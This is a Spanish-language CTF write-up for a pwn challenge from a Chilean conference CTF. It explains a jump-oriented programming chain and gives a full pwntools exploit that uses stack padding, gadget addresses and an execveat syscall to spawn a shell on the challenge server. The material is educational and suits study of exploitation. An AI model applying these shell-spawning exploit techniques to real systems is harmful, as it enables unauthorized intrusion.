f4d3

f4d3

InfoSec enthusiast | pwn | RE | CTF | BugBounty

convid{Scandinavian Journal of Psychology}

Buenas gente! El pasado fin de semana, participamos en un CTF organizado por l4t1nhtb y convid.cl, conferencia Chilena que estuvo entretenida, buenas charlas y buenos desafíos en el CTF ❤️ ! Mucho amor al team que la rompieron 24/7 cntr0llz ❤️ !

Summary

Este reto, era uno de los retos que más me costó, un pwn con sólo con 4 solves en total, que hay que utilizar y abusar de rop y jop, para lograr hacer un syscall y posteriormente spawnear una shell.

La descripción no ayuda mucho, solo nos da una dirección donde se hostea el reto, y el reto mismo.

static analysis

Comenzando con un análisis estático, corremos el programa, este espera un input y muere.

pwndbg> checksec 
[*] '/ctf/work/scandinavian/nanana'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

pwndbg> 

Comenzando a ver su ASM, sólo veremos su entry point, probablemente, escrito a mano en assembly (brígido @c4e):

Viendo esta última imágen, cláramente estamos frente a un reto de JOP jump oriented programming Técnica la cual se basa en pivotear en un gadget jmp, en vez de centrarse en gadgets ret como en ROP.

Entendiendo la lógica del programa antes de llegar al respectivo gadget add rsp, 8 ; jmp qword [rsp -8], tendremos una syscall de read, la cual nos dará un buffer de 0x250 en el stack.

dynamic analysis

Corriéndolo bajo GDB, podemos obtener que la primera instrucción que llamará el dispatcher, estará en el offset 256, por lo que tenemos 256 bytes de padding antes de llegar a tomar el control del RIP.

exploit.py

Si comenzamos a armar nuestro exploit, el skeleton quedaría de la siguiente manera:

#!/usr/bin/env python3
from pwn import *
import sys
import subprocess

context(terminal=['tmux', 'new-window'])
context(os="linux", arch="amd64")
context.log_level = "debug"


p_name = "nanana"  # change for the challenge name


def debug():
    p = process(p_name, env = {})  # Start the new process
    gdb_command = ''''''.split('\n')  # The command that will run gdb at startup
    attach_command = "tmux new-window gdb {} {} ".format(p_name, p.pid)
    for k in gdb_command:
        attach_command += '''--eval-command="{}" '''.format(k)
    log.debug("Starting a new gdb session with the following command: {}".format(
        attach_command))
    subprocess.Popen(attach_command, shell=True, stdin=subprocess.PIPE)
    return p


if "remote" not in sys.argv:
    p = debug()
else:
    p = remote("172.104.234.7", 7891)
## everything goes here
dispatcher = p64(0x00400107)

junk = b'A'* 256
payload = junk
payload += b'B'*8

sleep(3)
p.sendline(payload)
p.interactive()

Tenemos control sobre RIP, Hay que notar que tenemos la dirección del dispatcher en RCX, lo que significa, que cualquier JMP rcx, nos vendría bien para volver al dispatcher.

0x004000f0      mov     rsi, rsp   ; [01] -r-x section size 50 named .text
0x004000f3      sub     rsi, 0x100 ; 256
0x004000fa      mov     edx, 0x250 ; 592
0x004000ff      xor     rax, rax
0x00400102      xor     rdi, rdi
0x00400105      syscall
0x00400107      add     rsp, 8
0x0040010b      jmp     qword [rsp - 8]
0x0040010f      pop     rcx
0x00400110      add     rcx, 0
0x00400114      pop     rsi
0x00400115      pop     rdx
0x00400116      nop
0x00400117      jmp     rcx
0x00400119      add     rax, 7
0x0040011d      mov     rsi, rax
0x00400120      jmp     rcx

Necesitamos de alguna manera, llamar a /bin/sh\x00, o solo leer la flag… para eso, tenemos muchas formas de hacerlo utilizando syscalls (execve, open + read, SROP (using sigreturn), etc…) Notar que no tenemos ningún gadget del tipo pop rdi, por lo que será difícil modificar ese primer registro/argumento.

Hace unas semanas, me topé con un reto el cual se trataba de bypasear syscalls blacklisteadas
Leyendo writeups de ese reto, leí algo muy interesante de la cual no tenía idea… execveat. Esta es una syscall #322 , syscall la cual su primer argumento es un path, sirve como execve pero para relative paths… Tomando esto en cuenta, debemos llamar a:

  • execveat(0x00, * '/bin/sh\x00', 0x00)

Con esto, nos podemos librar de la dependencia de RDI y solo enfocarnos en RSI, y sorpresa, tenemos un pop rsi; pop rdx; ret en el ASM 🎯 !

vector de ataque

  • Escribir nuestro payload en algún lado (puede ser una dirección arbitraria de la .bss), para esto podemos utilizar el xor rax, rax; xor rdi, rdi, syscall
    • Setear RSI y RDX
    • llamar la syscall read que ya la tenemos lista
  • Setear los registros correspondientes
    • RDI : 0x00
    • RSI : .bss address
    • RAX : 322 (execveat numer)
  • llegar a syscall con RAX = 322

Siguiendo esta idea, necesitaremos armar un payload que haga ese recorrido, trataré de dejar lo mejor explicada cada línea del código.

#!/usr/bin/env python3
from pwn import *
import sys
import subprocess

context(terminal=['tmux', 'new-window'])
context(os="linux", arch="amd64")
context.log_level = "debug"


p_name = "nanana"  # change for the challenge name


def debug():
    p = process(p_name, env={})  # Start the new process
    gdb_command = ''''''.split(
        '\n')  # The command that will run gdb at startup
    attach_command = "tmux new-window gdb {} {} ".format(p_name, p.pid)
    for k in gdb_command:
        attach_command += '''--eval-command="{}" '''.format(k)
    log.debug("Starting a new gdb session with the following command: {}".format(
        attach_command))
    subprocess.Popen(attach_command, shell=True, stdin=subprocess.PIPE)
    return p


if "remote" not in sys.argv:
    p = debug()
else:
    p = remote("172.104.234.7", 7891)
## everything goes here
dispatcher = p64(0x00400107)
pop_rsi = p64(0x00400114)   # pop rsi; pop rdx; nop; jmp rcx
bss = p64(0x600000 + 0xff)  # bss address
read = p64(0x004000ff)      # xor rax, rax ; xor rdi, rdi; syscall

syscall = p64(0x00400102)

junk = b'A' * 256
payload = junk
payload += pop_rsi  # Saltamos a pop rsi; pop rdx; nop; jmp rcx
payload += bss      # bss quedará en rsi (buffer)
payload += p64(0xffff)    # 0xff quedará en rdx, serán la cantidad de bytes a leer, tenemos nuestro dispatcher en rcx
# saltamos de vuelta al dispatcher
# corre el stack y saltamos nuevamente
payload += read  # nuestro programa quedará colgado esperando otro input 
# por lo que deberemos mandar otra linea con nuestro comando a guardar
payload += pop_rsi # salmtaos denuevo al gadget
payload += bss      # guardamos la dirección de nuestro payload en rsi
# será el segundo argumento de exceveat !
payload += p64(0x00)    # guardamos 0x00 en rdx
# saltaremos otra vez al dispatcher por el jmp rcx
payload += syscall ## llamamos a la syscall!


input('send first payload? ')
p.send_raw(payload)

input('send second payload? ')
p.send_raw(b'/bin/sh\x00')

p.interactive()

Bien ! obtuvimos un llamado a una syscall, con un segundo argumento arbitrario, lamentablemente, RAX no está seteado como corresponde, ya que este argumento, debería ser la syscall number… No tenemos ningún tipo de gadget del tipo pop rax, pero sí tenemos un gadget del tipo add rax, 7… podríamos iterar hasta alcanzar el 322 de la syscall execveat… tedioso.

En nuestro segundo paso, pasamos por una syscall read, lo interesante de esta syscall, es su valor de retorno.

Por lo que, el valor de RAX, será el largo de nuestro comando, ya que el valor retornado por read, irá en RAX ! De aquí, es fácil llegar a un valor esperado, podríamos agregar slashes como quisieramos… /bin//////.../sh\x00, esto hasta completar 322 bytes de largo!

Antes de leer el comando:

Luego de leer el comando:

llegando a la última syscall de execveat

yes, ahora a probar remoto!

CL{j0p_M4s_sr0p_w0mb0_C0M8o!}

Entretenido el reto, gracias @c4e por el tiempo de cranear estos retos!

espero que se haya entendido todo, si hay alguna pregunta, no duden en escribirme,,,,

Saludos!

kjj